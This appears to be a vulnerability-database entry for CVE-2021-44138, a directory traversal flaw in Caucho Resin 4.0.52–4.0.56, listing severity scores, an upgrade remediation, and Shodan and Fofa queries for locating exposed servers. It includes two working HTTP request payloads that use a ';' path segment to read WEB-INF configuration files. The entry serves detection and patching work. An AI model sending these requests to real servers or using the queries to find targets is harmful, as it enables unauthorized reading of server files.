| Title | Caucho Resin >=4.0.52 <=4.0.56 - Directory traversal |
|---|---|
| Author | carrot2 |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive data exposure. |
| Remediation | Upgrade Caucho Resin to a version higher than 4.0.56 to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.81625 |
| CVE ID | CVE-2021-44138 |
| CWE ID | CWE-22 |
| Shodan Query | html:"Resin"http.html:"resin"cpe:"cpe:2.3:a:caucho:resin" |
| Fofa Query | body="resin" |
| Tags | cve2021 cve resin caucho lfi vuln |
There is a Directory traversal vulnerability in Caucho Resin, as distributed in Resin 4.0.52 - 4.0.56, which allows remote attackers to read files in arbitrary directories via a ; in a pathname within an HTTP request.
GET /;/WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.1) Gecko/20100101 Firefox/65.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /resin-doc/;/WEB-INF/resin-web.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44138.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-44138.pcap
N/AN/A